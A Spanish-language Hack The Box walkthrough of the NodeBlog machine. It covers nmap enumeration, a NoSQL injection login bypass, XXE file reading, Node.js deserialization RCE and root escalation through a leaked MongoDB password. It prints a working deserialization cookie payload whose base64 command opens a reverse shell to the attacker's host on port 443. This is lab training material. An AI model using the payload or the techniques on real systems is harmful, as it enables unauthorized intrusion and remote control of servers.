Hack The Box - NodeBlog
...

NodeBlog.png

Resumen:
...

La máquina NodeBlog comenzó con un escaneo de los puertos expuestos a través de la herramienta nmap. Se identificaron los puertos 22 (SSH) y 5000 (NodeJS) como accesibles. La siguiente fase consistió en enumerar la página expuesta en el puerto 5000, donde, tras realizar un análisis del login, se logró acceder mediante un bypass que aprovechaba una inyección NoSQL.\par

Una vez dentro, se descubrió la posibilidad de cargar archivos, y al examinar el código fuente de la página, se identificó que la estructura aceptada era XML. Para aprovechar esta observación, se llevó a cabo una prueba de XML External Entity (XXE) para la lectura de archivos. Al provocar un error en la página de inicio de sesión, se logró exponer la ubicación del proyecto. Aprovechando esta información, se procedió a leer el archivo server.js ubicado en /opt/blog/. En este archivo se reveló que los datos del inicio de sesión se serializaban y, al tratarse de un entorno NodeJS, se pudo explotar enviando una solicitud que permita la ejecución remota de comandos y estando en escucha en el puerto 443, se consiguió una shell como el usuario admin.\par

Para llevar a cabo la escalada de privilegios, se realizó una enumeración de los puertos activos en la máquina, destacando el puerto 27017 que indicaba la presencia del servicio de bases de datos MongoDB. Al enumerar las bases de datos, se logró obtener la contraseña del usuario admin. Al utilizar sudo -l, se verificó que existían permisos para ejecutar todos los comandos. Aprovechando esta situación, se ejecutó sudo su para obtener una shell como root, asegurando de esta manera la obtención de la última flag.

KeyWords: Port enumeration, NoSQL injection, file reading, XXE, NodeJs deserialization bug, rce, privilege escalation.

Palabras Clave: Enumeración de puertos, inyección NoSQL, lectura de archivos, XXE, NodeJs deserilización bug, rce, escalada de privilegios.

Realizado por Luis Ramos Moncayo, a fecha 17 de enero de 2024

Reconocimiento
...

Nmap
...

Se emplea la herramienta Nmap para hacer el reconocimiento de puertos de la máquina NodeBlog y de esta forma conocer cuales están abiertos.

> sudo nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 10.10.11.139 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-18 11:52 CET
Initiating SYN Stealth Scan at 11:52
Scanning 10.10.11.139 [65535 ports]
Discovered open port 22/tcp on 10.10.11.139
Discovered open port 5000/tcp on 10.10.11.139
Completed SYN Stealth Scan at 11:52, 13.00s elapsed (65535 total ports)
Nmap scan report for 10.10.11.139
Host is up, received user-set (0.035s latency).
Scanned at 2024-01-18 11:52:41 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.14 seconds
           Raw packets sent: 65726 (2.892MB) | Rcvd: 65535 (2.621MB)
Parámetros Nmap
-p-Escanea todos los 65535 puertos
–openSolo muestra los puertos abiertos
-sSEscaneo TCP SYN
–min-rateEnvío mínimo de paquetes
-vvvMuestra la información del escaneo mientras está ejecutándose
-nNo realiza resolución DNS
-PnNo realiza Host Discovery
-oGExporta el output en un archivo con formato grepeable

Se confirma que tiene abiertos los siguientes puertos abiertos: 22,5000; por lo que mediante el archivo grepeable que creó anteriormente, se hara uso de una función personalidada en la .zshrc, que extrae y copia a la clipboard los puertos resultantes de la primera consulta nmap para luego pegarlos en una siguiente.

> extractPorts allPorts

[+] Extracting Information....

	[+] IP Address: 10.10.11.139
	[+] Open Ports: 22,5000

[+] Ports copied to clipboard

Con esta siguiente consulta se buscará enumerar que servicios están expuestos y sus respectivas versiones.

> sudo nmap -sCV -p22,5000 10.10.11.139 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-18 11:59 CET
Nmap scan report for 10.10.11.139
Host is up (0.035s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.96 seconds
Parámetros Nmap
-sCConjunto de Scripts básicos de reconocimiento
-sVVerificación de las versiones de los servicios expuestos
-oNGuarda el output en un archivo

Enumeración
...

Puerto TCP 5000 - NodeJS
...

Se encuentra expuesta una pagina web en el puerto 5000, la cual se va a enumerar para buscar vulnerabilidades que se puedan aprovechar.

1_Pagina_principal.png

Dentro de la página web, se observa que existe un panel de autenticación.

2_pagina_login.png

Probando con varios usuarios y contraseñas comúnes, se observa que el usuario admin es válido, por lo que ahora se debe observar si existe alguna forma de hacer bypass a la autenticación mediante algún tipo de inyección.

3_Verificamos_Usuario_Admin.png

Se captura la petición de inicio de sesión con la herramienta burpsuite, de está forma se podrá revisar qué métodos pueden permitir iniciar sesión sin conocer la contraseña.

4_captura_peticion_login.png

Teniendo la captura, se envia la petición pero con formato json, si la respuesta es la misma quiere decir que acepta este formato.

5_Verificamos_datos_json.png

Explotación
...

Auth Bypass - Injección NoSQL
...

Conociendo que acepta el formato json, se procede a probar con inyección NoSQL, haciendo con una sentencia $ne indicando que la contraseña no es igual a admin, de manera que da una respuesta afirmativa provocando que se logre un bypass y entrando a la sesión del usuario admin.

6_Inyection_No_SQL.png

7_Inicio_Sesion_NoSQLi.png

Lectura de Archivos - XXE
...

Viendo que se puede cargar archivos, se va a realizar la subida de uno en formato texto para observar el comportamiento de la página y la respuesta del servidor.

8_Creamos_archivo.png

9_subimos_archivo_prueba.png

En la respuesta se observa un mensaje de error. Para obtener mayor información de este mensaje se procede a revisar el código fuente donde se logra ver el formato que acepta el servidor, en este caso acepta archivos xml con las respectivas etiquetas se muestran en el mensaje.

10_Mensaje_error.png

11_Mensaje_error_codigo_fuente.png

Se crea el archivo .xml con las etiquetas que se observa en la respuesta del servidor para conocer a donde lleva cuando se carga el archivo.

12_Formato_archivo_xml.png

Al cargar el archivo xml, la página redirige a un formulario para la creación de un artículo.

13_Resultado_carga_xml.png

Esto expone a una posible XML External Entity (XXE), obteniendo la capacidad de lectura de archivos. Se hará la prueba viendo si se puede leer el archivo /etc/passwd.

14_File_Read_XXE.png

Se confirma que es vulnerable a XXE, logrando leer el archivo /etc/passwd.

15_file_read_result.png

Sabiendo que se está enumerando un servidor con NodeJS, se va a buscar el archivo server.js, pero primero se tiene que conocer la ubicación del mismo. Creando un error, se puede leakear la información de la ubicación de este archivo. Dentro del burpsuite, se pasa al repeater la petición de inicio de sesión, de esta manera se puede crear el error enviando mal la estructura de la data.

16_error_leaked_information.png

Conociendo la ubicación, se procede a leer el archivo server.js.

17_leemos_archivo_server_js.png

Dentro del archivo server.js, se logra observar una función de deserialización por lo que puede que esté usandola al momento de inciar sesión en la página.

18_funcion_serializacion.png

Node.js deserialization bug - Shell as admin
...

Para confirmar la afirmación anterior, se procede a copiar la cookie de sesión, misma que está urlencodeada. Usando el Decoder de burpsuite, se logra ver que la cookie está en formato json.

19_Copiamos_cookie_session.png

20_Cookie_Formato_json_urlencodedad.png

Se crea el payload usando bash, para la ejecución de comandos. En este caso, se va a ejecutar un one liner que permite la obtención de una reverse shell por el puerto 443 a nuestra máquina de atacante.

21_creamos_payload_bash.png

El payload creado anteriormente se procede a pasarlo a base64.

22_pasamos_payload_base64.png

Teniendo el payload en base64, se urlencodea el exploit haciendo uso nuevamente del Decoder de Burpsuite. El exploit lo que va a hacer es la ejecución de comandos, al decodificar el payload y ejecutandolo como comando bash, enviará una reverse shell a nuestra máquina de atacante teniendo acceso a la máquina víctima.

{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'echo IyEvYmluL2Jhc2gKCmJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODEvNDQzIDA+JjEK | base64 -d | bash \', function(error, stdout, stderr) { console.log(stdout) });}()"}

23_urlencodeamos_exploit.png

Mientras que en la máquina de atacante se está en escucha por el puerto 443, el exploit urlencodeado se lo pega en la cookie de sesión y para ejecutarlo se tiene que recargar la página.

24_pegamos_exploit_cookie.png

Se obtiene una shell como el usuario admin.

25_Shell_as_admin.png

Escalada de Privilegios
...

Password Leaked - Enumeración de MongoDB
...

Estando en la máquina víctima como el usuario admin, se procede a verificar que comandos se pueden ejecutar con sudo, para ello se tiene que hacer uso del comando sudo -l, pero en este caso pide contraseña del usuario misma que no se conoce.

26_sudo_verificacion.png

Se procede a enumerar que puertos se encuentran abiertos desde adentro de la máquina, para ello se puede utilizar netstat con el parámetro -a, o leer con el comando cat el archivo /proc/net/tcp pero en este último los puertos se encontrarán en hexadecimal.

27_d_puertos_abiertos.png

Dentro de los puertos que extán expuestos, se logra ver que el 27017 dando a entender que está corriendo el servicio de base de datos MongoDB. Se ingresa MongoDB y se procede a enumerar las bases existentes, las colecciones y los datos en las colecciones. En la base blog, en la colección users se encuentra la contraseña del usuario admin.

28_LeakPassword.png

Shell as root
...

Comprobamos que la conseña sea válida, haciendo nuevamente sudo -l, pegando la contraseña y viendo que sucede. Se valida la contraseña y que además con sudo se puede ejecutar todos los comandos con privilegios.

29_Verificacion_sudo_password.png

Por lo que simplemente se hace un sudo su obteniendo una shell como root y finalmente se captura la última flag.

30_shell_as_root.png